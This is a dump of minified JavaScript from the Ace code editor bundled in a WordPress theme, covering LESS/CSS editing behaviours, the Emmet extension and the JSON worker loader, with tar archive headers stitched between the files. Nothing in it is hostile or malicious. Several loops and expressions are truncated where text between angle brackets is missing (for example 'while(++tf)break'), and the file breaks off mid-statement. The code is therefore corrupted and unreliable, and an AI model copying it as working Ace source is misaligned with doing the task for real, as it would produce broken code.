y=g+r.getTabString();return{text:"\n"+y+"\n"+g+v,selection:[1,y.length,1,y.length]}}h.clearMaybeInsertedClosing()}}),this.add("braces","deletion",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s=="{"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u=="}")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add("parens","insertion",function(e,t,n,r,i){if(i=="("){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==""&&n.getWrapBehavioursEnabled())return{text:"("+o+")",selection:!1};if(h.isSaneInsertion(n,r))return h.recordAutoInsert(n,r,")"),{text:"()",selection:[1,1]}}else if(i==")"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==")"){var l=r.$findOpeningBracket(")",{column:u.column+1,row:u.row});if(l!==null&&h.isAutoInsertedClosing(u,a,i))return h.popAutoInsertedClosing(),{text:"",selection:[1,1]}}}}),this.add("parens","deletion",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s=="("){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==")")return i.end.column++,i}}),this.add("brackets","insertion",function(e,t,n,r,i){if(i=="["){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==""&&n.getWrapBehavioursEnabled())return{text:"["+o+"]",selection:!1};if(h.isSaneInsertion(n,r))return h.recordAutoInsert(n,r,"]"),{text:"[]",selection:[1,1]}}else if(i=="]"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f=="]"){var l=r.$findOpeningBracket("]",{column:u.column+1,row:u.row});if(l!==null&&h.isAutoInsertedClosing(u,a,i))return h.popAutoInsertedClosing(),{text:"",selection:[1,1]}}}}),this.add("brackets","deletion",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s=="["){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u=="]")return i.end.column++,i}}),this.add("string_dquotes","insertion",function(e,t,n,r,i){if(i=='"'||i=="'"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==""&&u!=="'"&&u!='"'&&n.getWrapBehavioursEnabled())return{text:s+u+s,selection:!1};var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),h=f.substring(a.column,a.column+1),p=r.getTokenAt(a.row,a.column),d=r.getTokenAt(a.row,a.column+1);if(l=="\\"&&p&&/escape/.test(p.type))return null;var v=p&&/string/.test(p.type),m=!d||/string/.test(d.type),g;if(h==s)g=v!==m;else{if(v&&!m)return null;if(v&&m)return null;var y=r.$mode.tokenRe;y.lastIndex=0;var b=y.test(l);y.lastIndex=0;var w=y.test(l);if(b||w)return null;if(h&&!/[\s;,.})\]\\]/.test(h))return null;g=!0}return{text:g?s+s:"",selection:[1,1]}}}),this.add("string_dquotes","deletion",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='"'||s=="'")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};h.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||"text",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||"text",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||"text",a)},h.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},h.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},h.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},h.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},h.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},h.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},h.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(h,i),t.CstyleBehaviour=h}),ace.define("ace/mode/behaviour/css",["require","exports","module","ace/lib/oop","ace/mode/behaviour","ace/mode/behaviour/cstyle","ace/token_iterator"],function(e,t,n){"use strict";var r=e("../../lib/oop"),i=e("../behaviour").Behaviour,s=e("./cstyle").CstyleBehaviour,o=e("../../token_iterator").TokenIterator,u=function(){this.inherit(s),this.add("colon","insertion",function(e,t,n,r,i){if(i===":"){var s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\s+/)&&(a=u.stepBackward());if(a&&a.type==="support.type"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===":")return{text:"",selection:[1,1]};if(!f.substring(s.column).match(/^\s*;/))return{text:":;",selection:[1,1]}}}}),this.add("colon","deletion",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===":"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\s+/)&&(f=a.stepBackward());if(f&&f.type==="support.type"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===";")return i.end.column++,i}}}),this.add("semicolon","insertion",function(e,t,n,r,i){if(i===";"){var s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===";")return{text:"",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),ace.define("ace/mode/folding/cstyle",["require","exports","module","ace/lib/oop","ace/range","ace/mode/folding/fold_mode"],function(e,t,n){"use strict";var r=e("../../lib/oop"),i=e("../../range").Range,s=e("./fold_mode").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\|[^|]*?$/,"|"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\|[^|]*?$/,"|"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\{|\[)[^\}\]]*$|^\s*(\/\*)/,this.foldingStopMarker=/^[^\[\{]*(\}|\])|^[\s\*]*(\*\/)/,this.singleLineBlockCommentRe=/^\s*(\/\*).*\*\/\s*$/,this.tripleStarBlockCommentRe=/^\s*(\/\*\*\*).*\*\/\s*$/,this.startRegionRe=/^\s*(\/\*|\/\/)#region\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return"";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?"start":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!="all"&&(u=null)),u}if(t==="markbegin")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++tf)break;var l=this.getFoldWidgetRange(e,"all",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\s*$/),s=e.getLength(),o=n,u=/^\s*(?:\/\*|\/\/)#(end)?region\b/,a=1;while(++no)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define("ace/mode/less",["require","exports","module","ace/lib/oop","ace/mode/text","ace/mode/less_highlight_rules","ace/mode/matching_brace_outdent","ace/mode/behaviour/css","ace/mode/folding/cstyle"],function(e,t,n){"use strict";var r=e("../lib/oop"),i=e("./text").Mode,s=e("./less_highlight_rules").LessHighlightRules,o=e("./matching_brace_outdent").MatchingBraceOutdent,u=e("./behaviour/css").CssBehaviour,a=e("./folding/cstyle").FoldMode,f=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new u,this.foldingRules=new a};r.inherits(f,i),function(){this.lineCommentStart="//",this.blockComment={start:"/*",end:"*/"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type=="comment")return r;var s=t.match(/^.*\{\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id="ace/mode/less"}.call(f.prototype),t.Mode=f})Avada/includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/ace_editor/ext-emmet.js000064400000050603152342437700030127 0ustar00ace.define("ace/snippets",["require","exports","module","ace/lib/oop","ace/lib/event_emitter","ace/lib/lang","ace/range","ace/anchor","ace/keyboard/hash_handler","ace/tokenizer","ace/lib/dom","ace/editor"],function(e,t,n){"use strict";var r=e("./lib/oop"),i=e("./lib/event_emitter").EventEmitter,s=e("./lib/lang"),o=e("./range").Range,u=e("./anchor").Anchor,a=e("./keyboard/hash_handler").HashHandler,f=e("./tokenizer").Tokenizer,l=o.comparePoints,c=function(){this.snippetMap={},this.snippetNameMap={}};(function(){r.implement(this,i),this.getTokenizer=function(){function e(e,t,n){return e=e.substr(1),/^\d+$/.test(e)&&!n.inFormatString?[{tabstopId:parseInt(e,10)}]:[{text:e}]}function t(e){return"(?:[^\\\\"+e+"]|\\\\.)"}return c.$tokenizer=new f({start:[{regex:/:/,onMatch:function(e,t,n){return n.length&&n[0].expectIf?(n[0].expectIf=!1,n[0].elseBranch=n[0],[n[0]]):":"}},{regex:/\\./,onMatch:function(e,t,n){var r=e[1];return r=="}"&&n.length?e=r:"`$\\".indexOf(r)!=-1?e=r:n.inFormatString&&(r=="n"?e="\n":r=="t"?e="\n":"ulULE".indexOf(r)!=-1&&(e={changeCase:r,local:r>"a"})),[e]}},{regex:/}/,onMatch:function(e,t,n){return[n.length?n.shift():e]}},{regex:/\$(?:\d+|\w+)/,onMatch:e},{regex:/\$\{[\dA-Z_a-z]+/,onMatch:function(t,n,r){var i=e(t.substr(1),n,r);return r.unshift(i[0]),i},next:"snippetVar"},{regex:/\n/,token:"newline",merge:!1}],snippetVar:[{regex:"\\|"+t("\\|")+"*\\|",onMatch:function(e,t,n){n[0].choices=e.slice(1,-1).split(",")},next:"start"},{regex:"/("+t("/")+"+)/(?:("+t("/")+"*)/)(\\w*):?",onMatch:function(e,t,n){var r=n[0];return r.fmtString=e,e=this.splitRegex.exec(e),r.guard=e[1],r.fmt=e[2],r.flag=e[3],""},next:"start"},{regex:"`"+t("`")+"*`",onMatch:function(e,t,n){return n[0].code=e.splice(1,-1),""},next:"start"},{regex:"\\?",onMatch:function(e,t,n){n[0]&&(n[0].expectIf=!0)},next:"start"},{regex:"([^:}\\\\]|\\\\.)*:?",token:"",next:"start"}],formatString:[{regex:"/("+t("/")+"+)/",token:"regex"},{regex:"",onMatch:function(e,t,n){n.inFormatString=!0},next:"start"}]}),c.prototype.getTokenizer=function(){return c.$tokenizer},c.$tokenizer},this.tokenizeTmSnippet=function(e,t){return this.getTokenizer().getLineTokens(e,t).tokens.map(function(e){return e.value||e})},this.$getDefaultValue=function(e,t){if(/^[A-Z]\d+$/.test(t)){var n=t.substr(1);return(this.variables[t[0]+"__"]||{})[n]}if(/^\d+$/.test(t))return(this.variables.__||{})[t];t=t.replace(/^TM_/,"");if(!e)return;var r=e.session;switch(t){case"CURRENT_WORD":var i=r.getWordRange();case"SELECTION":case"SELECTED_TEXT":return r.getTextRange(i);case"CURRENT_LINE":return r.getLine(e.getCursorPosition().row);case"PREV_LINE":return r.getLine(e.getCursorPosition().row-1);case"LINE_INDEX":return e.getCursorPosition().column;case"LINE_NUMBER":return e.getCursorPosition().row+1;case"SOFT_TABS":return r.getUseSoftTabs()?"YES":"NO";case"TAB_SIZE":return r.getTabSize();case"FILENAME":case"FILEPATH":return"";case"FULLNAME":return"Ace"}},this.variables={},this.getVariableValue=function(e,t){return this.variables.hasOwnProperty(t)?this.variables[t](e,t)||"":this.$getDefaultValue(e,t)||""},this.tmStrFormat=function(e,t,n){var r=t.flag||"",i=t.guard;i=new RegExp(i,r.replace(/[^gi]/,""));var s=this.tokenizeTmSnippet(t.fmt,"formatString"),o=this,u=e.replace(i,function(){o.variables.__=arguments;var e=o.resolveVariables(s,n),t="E";for(var r=0;r=0&&s.splice(o,1)}}var n=this.snippetMap,r=this.snippetNameMap;e.content?i(e):Array.isArray(e)&&e.forEach(i)},this.parseSnippetFile=function(e){e=e.replace(/\r/g,"");var t=[],n={},r=/^#.*|^({[\s\S]*})\s*$|^(\S+) (.*)$|^((?:\n*\t.*)+)/gm,i;while(i=r.exec(e)){if(i[1])try{n=JSON.parse(i[1]),t.push(n)}catch(s){}if(i[4])n.content=i[4].replace(/^\t/gm,""),t.push(n),n={};else{var o=i[2],u=i[3];if(o=="regex"){var a=/\/((?:[^\/\\]|\\.)*)|$/g;n.guard=a.exec(u)[1],n.trigger=a.exec(u)[1],n.endTrigger=a.exec(u)[1],n.endGuard=a.exec(u)[1]}else o=="snippet"?(n.tabTrigger=u.match(/^\S*/)[0],n.name||(n.name=u)):n[o]=u}}return t},this.getSnippetByName=function(e,t){var n=this.snippetNameMap,r;return this.getActiveScopes(t).some(function(t){var i=n[t];return i&&(r=i[e]),!!r},this),r}}).call(c.prototype);var h=function(e){if(e.tabstopManager)return e.tabstopManager;e.tabstopManager=this,this.$onChange=this.onChange.bind(this),this.$onChangeSelection=s.delayedCall(this.onChangeSelection.bind(this)).schedule,this.$onChangeSession=this.onChangeSession.bind(this),this.$onAfterExec=this.onAfterExec.bind(this),this.attach(e)};(function(){this.attach=function(e){this.index=0,this.ranges=[],this.tabstops=[],this.$openTabstops=null,this.selectedTabstop=null,this.editor=e,this.editor.on("change",this.$onChange),this.editor.on("changeSelection",this.$onChangeSelection),this.editor.on("changeSession",this.$onChangeSession),this.editor.commands.on("afterExec",this.$onAfterExec),this.editor.keyBinding.addKeyboardHandler(this.keyboardHandler)},this.detach=function(){this.tabstops.forEach(this.removeTabstopMarkers,this),this.ranges=null,this.tabstops=null,this.selectedTabstop=null,this.editor.removeListener("change",this.$onChange),this.editor.removeListener("changeSelection",this.$onChangeSelection),this.editor.removeListener("changeSession",this.$onChangeSession),this.editor.commands.removeListener("afterExec",this.$onAfterExec),this.editor.keyBinding.removeKeyboardHandler(this.keyboardHandler),this.editor.tabstopManager=null,this.editor=null},this.onChange=function(e){var t=e.data.range,n=e.data.action[0]=="r",r=t.start,i=t.end,s=r.row,o=i.row,u=o-s,a=i.column-r.column;n&&(u=-u,a=-a);if(!this.$inChange&&n){var f=this.selectedTabstop,c=f&&!f.some(function(e){return l(e.start,r)<=0&&l(e.end,i)>=0});if(c)return this.detach()}var h=this.ranges;for(var p=0;p0){this.removeRange(d),p--;continue}d.start.row==s&&d.start.column>r.column&&(d.start.column+=a),d.end.row==s&&d.end.column>=r.column&&(d.end.column+=a),d.start.row>=s&&(d.start.row+=u),d.end.row>=s&&(d.end.row+=u),l(d.start,d.end)>0&&this.removeRange(d)}h.length||this.detach()},this.updateLinkedFields=function(){var e=this.selectedTabstop;if(!e||!e.hasLinkedRanges)return;this.$inChange=!0;var n=this.editor.session,r=n.getTextRange(e.firstNonLinked);for(var i=e.length;i--;){var s=e[i];if(!s.linked)continue;var o=t.snippetManager.tmStrFormat(r,s.original);n.replace(s,o)}this.$inChange=!1},this.onAfterExec=function(e){e.command&&!e.command.readOnly&&this.updateLinkedFields()},this.onChangeSelection=function(){if(!this.editor)return;var e=this.editor.selection.lead,t=this.editor.selection.anchor,n=this.editor.selection.isEmpty();for(var r=this.ranges.length;r--;){if(this.ranges[r].linked)continue;var i=this.ranges[r].contains(e.row,e.column),s=n||this.ranges[r].contains(t.row,t.column);if(i&&s)return}this.detach()},this.onChangeSession=function(){this.detach()},this.tabNext=function(e){var t=this.tabstops.length,n=this.index+(e||1);n=Math.min(Math.max(n,1),t),n==t&&(n=0),this.selectTabstop(n),n===0&&this.detach()},this.selectTabstop=function(e){this.$openTabstops=null;var t=this.tabstops[this.index];t&&this.addTabstopMarkers(t),this.index=e,t=this.tabstops[this.index];if(!t||!t.length)return;this.selectedTabstop=t;if(!this.editor.inVirtualSelectionMode){var n=this.editor.multiSelect;n.toSingleRange(t.firstNonLinked.clone());for(var r=t.length;r--;){if(t.hasLinkedRanges&&t[r].linked)continue;n.addRange(t[r].clone(),!0)}n.ranges[0]&&n.addRange(n.ranges[0].clone())}else this.editor.selection.setRange(t.firstNonLinked);this.editor.keyBinding.addKeyboardHandler(this.keyboardHandler)},this.addTabstops=function(e,t,n){this.$openTabstops||(this.$openTabstops=[]);if(!e[0]){var r=o.fromPoints(n,n);v(r.start,t),v(r.end,t),e[0]=[r],e[0].index=0}var i=this.index,s=[i+1,0],u=this.ranges;e.forEach(function(e,n){var r=this.$openTabstops[n]||e;for(var i=e.length;i--;){var a=e[i],f=o.fromPoints(a.start,a.end||a.start);d(f.start,t),d(f.end,t),f.original=a,f.tabstop=r,u.push(f),r!=e?r.unshift(f):r[i]=f,a.fmtString?(f.linked=!0,r.hasLinkedRanges=!0):r.firstNonLinked||(r.firstNonLinked=f)}r.firstNonLinked||(r.hasLinkedRanges=!1),r===e&&(s.push(r),this.$openTabstops[n]=r),this.addTabstopMarkers(r)},this),s.length>2&&(this.tabstops.length&&s.push(s.splice(2,1)[0]),this.tabstops.splice.apply(this.tabstops,s))},this.addTabstopMarkers=function(e){var t=this.editor.session;e.forEach(function(e){e.markerId||(e.markerId=t.addMarker(e,"ace_snippet-marker","text"))})},this.removeTabstopMarkers=function(e){var t=this.editor.session;e.forEach(function(e){t.removeMarker(e.markerId),e.markerId=null})},this.removeRange=function(e){var t=e.tabstop.indexOf(e);e.tabstop.splice(t,1),t=this.ranges.indexOf(e),this.ranges.splice(t,1),this.editor.session.removeMarker(e.markerId),e.tabstop.length||(t=this.tabstops.indexOf(e.tabstop),t!=-1&&this.tabstops.splice(t,1),this.tabstops.length||this.detach())},this.keyboardHandler=new a,this.keyboardHandler.bindKeys({Tab:function(e){if(t.snippetManager&&t.snippetManager.expandWithTab(e))return;e.tabstopManager.tabNext(1)},"Shift-Tab":function(e){e.tabstopManager.tabNext(-1)},Esc:function(e){e.tabstopManager.detach()},Return:function(e){return!1}})}).call(h.prototype);var p={};p.onChange=u.prototype.onChange,p.setPosition=function(e,t){this.pos.row=e,this.pos.column=t},p.update=function(e,t,n){this.$insertRight=n,this.pos=e,this.onChange(t)};var d=function(e,t){e.row==0&&(e.column+=t.column),e.row+=t.row},v=function(e,t){e.row==t.row&&(e.column-=t.column),e.row-=t.row};e("./lib/dom").importCssString(".ace_snippet-marker { -moz-box-sizing: border-box; box-sizing: border-box; background: rgba(194, 193, 208, 0.09); border: 1px dotted rgba(211, 208, 235, 0.62); position: absolute;}"),t.snippetManager=new c;var m=e("./editor").Editor;(function(){this.insertSnippet=function(e,n){return t.snippetManager.insertSnippet(this,e,n)},this.expandSnippet=function(e){return t.snippetManager.expandWithTab(this,e)}}).call(m.prototype)}),ace.define("ace/ext/emmet",["require","exports","module","ace/keyboard/hash_handler","ace/editor","ace/snippets","ace/range","resources","resources","range","tabStops","resources","utils","actions","ace/config","ace/config"],function(e,t,n){"use strict";function f(){}var r=e("ace/keyboard/hash_handler").HashHandler,i=e("ace/editor").Editor,s=e("ace/snippets").snippetManager,o=e("ace/range").Range,u,a;f.prototype={setupContext:function(e){this.ace=e,this.indentation=e.session.getTabString(),u||(u=window.emmet),u.require("resources").setVariable("indentation",this.indentation),this.$syntax=null,this.$syntax=this.getSyntax()},getSelectionRange:function(){var e=this.ace.getSelectionRange(),t=this.ace.session.doc;return{start:t.positionToIndex(e.start),end:t.positionToIndex(e.end)}},createSelection:function(e,t){var n=this.ace.session.doc;this.ace.selection.setRange({start:n.indexToPosition(e),end:n.indexToPosition(t)})},getCurrentLineRange:function(){var e=this.ace,t=e.getCursorPosition().row,n=e.session.getLine(t).length,r=e.session.doc.positionToIndex({row:t,column:0});return{start:r,end:r+n}},getCaretPos:function(){var e=this.ace.getCursorPosition();return this.ace.session.doc.positionToIndex(e)},setCaretPos:function(e){var t=this.ace.session.doc.indexToPosition(e);this.ace.selection.moveToPosition(t)},getCurrentLine:function(){var e=this.ace.getCursorPosition().row;return this.ace.session.getLine(e)},replaceContent:function(e,t,n,r){n==null&&(n=t==null?this.getContent().length:t),t==null&&(t=0);var i=this.ace,u=i.session.doc,a=o.fromPoints(u.indexToPosition(t),u.indexToPosition(n));i.session.remove(a),a.end=a.start,e=this.$updateTabstops(e),s.insertSnippet(i,e)},getContent:function(){return this.ace.getValue()},getSyntax:function(){if(this.$syntax)return this.$syntax;var e=this.ace.session.$modeId.split("/").pop();if(e=="html"||e=="php"){var t=this.ace.getCursorPosition(),n=this.ace.session.getState(t.row);typeof n!="string"&&(n=n[0]),n&&(n=n.split("-"),n.length>1?e=n[0]:e=="php"&&(e="html"))}return e},getProfileName:function(){switch(this.getSyntax()){case"css":return"css";case"xml":case"xsl":return"xml";case"html":var e=u.require("resources").getVariable("profile");return e||(e=this.ace.session.getLines(0,2).join("").search(/]+XHTML/i)!=-1?"xhtml":"html"),e}return"xhtml"},prompt:function(e){return prompt(e)},getSelection:function(){return this.ace.session.getTextRange()},getFilePath:function(){return""},$updateTabstops:function(e){var t=1e3,n=0,r=null,i=u.require("range"),s=u.require("tabStops"),o=u.require("resources").getVocabulary("user"),a={tabstop:function(e){var o=parseInt(e.group,10),u=o===0;u?o=++n:o+=t;var f=e.placeholder;f&&(f=s.processText(f,a));var l="${"+o+(f?":"+f:"")+"}";return u&&(r=i.create(e.start,l)),l},escape:function(e){return e=="$"?"\\$":e=="\\"?"\\\\":e}};return e=s.processText(e,a),o.variables.insert_final_tabstop&&!/\$\{0\}$/.test(e)?e+="${0}":r&&(e=u.require("utils").replaceSubstring(e,"${0}",r)),e}};var l={expand_abbreviation:{mac:"ctrl+alt+e",win:"alt+e"},match_pair_outward:{mac:"ctrl+d",win:"ctrl+,"},match_pair_inward:{mac:"ctrl+j",win:"ctrl+shift+0"},matching_pair:{mac:"ctrl+alt+j",win:"alt+j"},next_edit_point:"alt+right",prev_edit_point:"alt+left",toggle_comment:{mac:"command+/",win:"ctrl+/"},split_join_tag:{mac:"shift+command+'",win:"shift+ctrl+`"},remove_tag:{mac:"command+'",win:"shift+ctrl+;"},evaluate_math_expression:{mac:"shift+command+y",win:"shift+ctrl+y"},increment_number_by_1:"ctrl+up",decrement_number_by_1:"ctrl+down",increment_number_by_01:"alt+up",decrement_number_by_01:"alt+down",increment_number_by_10:{mac:"alt+command+up",win:"shift+alt+up"},decrement_number_by_10:{mac:"alt+command+down",win:"shift+alt+down"},select_next_item:{mac:"shift+command+.",win:"shift+ctrl+."},select_previous_item:{mac:"shift+command+,",win:"shift+ctrl+,"},reflect_css_value:{mac:"shift+command+r",win:"shift+ctrl+r"},encode_decode_data_url:{mac:"shift+ctrl+d",win:"ctrl+'"},expand_abbreviation_with_tab:"Tab",wrap_with_abbreviation:{mac:"shift+ctrl+a",win:"shift+ctrl+a"}},c=new f;t.commands=new r,t.runEmmetCommand=function(e){try{c.setupContext(e);if(c.getSyntax()=="php")return!1;var t=u.require("actions");if(this.action=="expand_abbreviation_with_tab"&&!e.selection.isEmpty())return!1;if(this.action=="wrap_with_abbreviation")return setTimeout(function(){t.run("wrap_with_abbreviation",c)},0);var n=e.selection.lead,r=e.session.getTokenAt(n.row,n.column);if(r&&/\btag\b/.test(r.type))return!1;var i=t.run(this.action,c)}catch(s){e._signal("changeStatus",typeof s=="string"?s:s.message),console.log(s),i=!1}return i};for(var h in l)t.commands.addCommand({name:"emmet:"+h,action:h,bindKey:l[h],exec:t.runEmmetCommand,multiSelectAction:"forEach"});t.updateCommands=function(e,n){n?e.keyBinding.addKeyboardHandler(t.commands):e.keyBinding.removeKeyboardHandler(t.commands)},t.isSupportedMode=function(e){return e&&/css|less|scss|sass|stylus|html|php|twig|ejs/.test(e)};var p=function(n,r){var i=r;if(!i)return;var s=t.isSupportedMode(i.session.$modeId);n.enableEmmet===!1&&(s=!1),s&&typeof a=="string"&&e("ace/config").loadModule(a,function(){a=null}),t.updateCommands(i,s)};t.AceEmmetEditor=f,e("ace/config").defineOptions(i.prototype,"editor",{enableEmmet:{set:function(e){this[e?"on":"removeListener"]("changeMode",p),p({enableEmmet:!!e},this)},value:!0}}),t.setCore=function(e){typeof e=="string"?a=e:u=e}}); (function() { ace.require(["ace/ext/emmet"], function() {}); })(); includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/ace_editor/worker-json.js000064400000074472152342437700030435 0ustar00Avada"no use strict";(function(e){if(typeof e.window!="undefined"&&e.document)return;e.console=function(){var e=Array.prototype.slice.call(arguments,0);postMessage({type:"log",data:e})},e.console.error=e.console.warn=e.console.log=e.console.trace=e.console,e.window=e,e.ace=e,e.onerror=function(e,t,n,r,i){postMessage({type:"error",data:{message:e,file:t,line:n,col:r,stack:i.stack}})},e.normalizeModule=function(t,n){if(n.indexOf("!")!==-1){var r=n.split("!");return e.normalizeModule(t,r[0])+"!"+e.normalizeModule(t,r[1])}if(n.charAt(0)=="."){var i=t.split("/").slice(0,-1).join("/");n=(i?i+"/":"")+n;while(n.indexOf(".")!==-1&&s!=n){var s=n;n=n.replace(/^\.\//,"").replace(/\/\.\//,"/").replace(/[^\/]+\/\.\.\//,"")}}return n},e.require=function(t,n){n||(n=t,t=null);if(!n.charAt)throw new Error("worker.js require() accepts only (parentId, id) as arguments");n=e.normalizeModule(t,n);var r=e.require.modules[n];if(r)return r.initialized||(r.initialized=!0,r.exports=r.factory().exports),r.exports;var i=n.split("/");if(!e.require.tlns)return console.log("unable to load "+n);i[0]=e.require.tlns[i[0]]||i[0];var s=i.join("/")+".js";return e.require.id=n,importScripts(s),e.require(t,n)},e.require.modules={},e.require.tlns={},e.define=function(t,n,r){arguments.length==2?(r=n,typeof t!="string"&&(n=t,t=e.require.id)):arguments.length==1&&(r=t,n=[],t=e.require.id);if(typeof r!="function"){e.require.modules[t]={exports:r,initialized:!0};return}n.length||(n=["require","exports","module"]);var i=function(n){return e.require(t,n)};e.require.modules[t]={exports:{},factory:function(){var e=this,t=r.apply(this,n.map(function(t){switch(t){case"require":return i;case"exports":return e.exports;case"module":return e;default:return i(t)}}));return t&&(e.exports=t),e}}},e.define.amd={},e.initBaseUrls=function(t){require.tlns=t},e.initSender=function(){var n=e.require("ace/lib/event_emitter").EventEmitter,r=e.require("ace/lib/oop"),i=function(){};return function(){r.implement(this,n),this.callback=function(e,t){postMessage({type:"call",id:t,data:e})},this.emit=function(e,t){postMessage({type:"event",name:e,data:t})}}.call(i.prototype),new i};var t=e.main=null,n=e.sender=null;e.onmessage=function(r){var i=r.data;if(i.command){if(!t[i.command])throw new Error("Unknown command:"+i.command);t[i.command].apply(t,i.args)}else if(i.init){initBaseUrls(i.tlns),require("ace/lib/es5-shim"),n=e.sender=initSender();var s=require(i.module)[i.classname];t=e.main=new s(n)}else i.event&&n&&n._signal(i.event,i.data)}})(this),ace.define("ace/lib/oop",["require","exports","module"],function(e,t,n){"use strict";t.inherits=function(e,t){e.super_=t,e.prototype=Object.create(t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}})},t.mixin=function(e,t){for(var n in t)e[n]=t[n];return e},t.implement=function(e,n){t.mixin(e,n)}}),ace.define("ace/lib/event_emitter",["require","exports","module"],function(e,t,n){"use strict";var r={},i=function(){this.propagationStopped=!0},s=function(){this.defaultPrevented=!0};r._emit=r._dispatchEvent=function(e,t){this._eventRegistry||(this._eventRegistry={}),this._defaultHandlers||(this._defaultHandlers={});var n=this._eventRegistry[e]||[],r=this._defaultHandlers[e];if(!n.length&&!r)return;if(typeof t!="object"||!t)t={};t.type||(t.type=e),t.stopPropagation||(t.stopPropagation=i),t.preventDefault||(t.preventDefault=s),n=n.slice();for(var o=0;o ["+this.end.row+"/"+this.end.column+"]"},this.contains=function(e,t){return this.compare(e,t)==0},this.compareRange=function(e){var t,n=e.end,r=e.start;return t=this.compare(n.row,n.column),t==1?(t=this.compare(r.row,r.column),t==1?2:t==0?1:0):t==-1?-2:(t=this.compare(r.row,r.column),t==-1?-1:t==1?42:0)},this.comparePoint=function(e){return 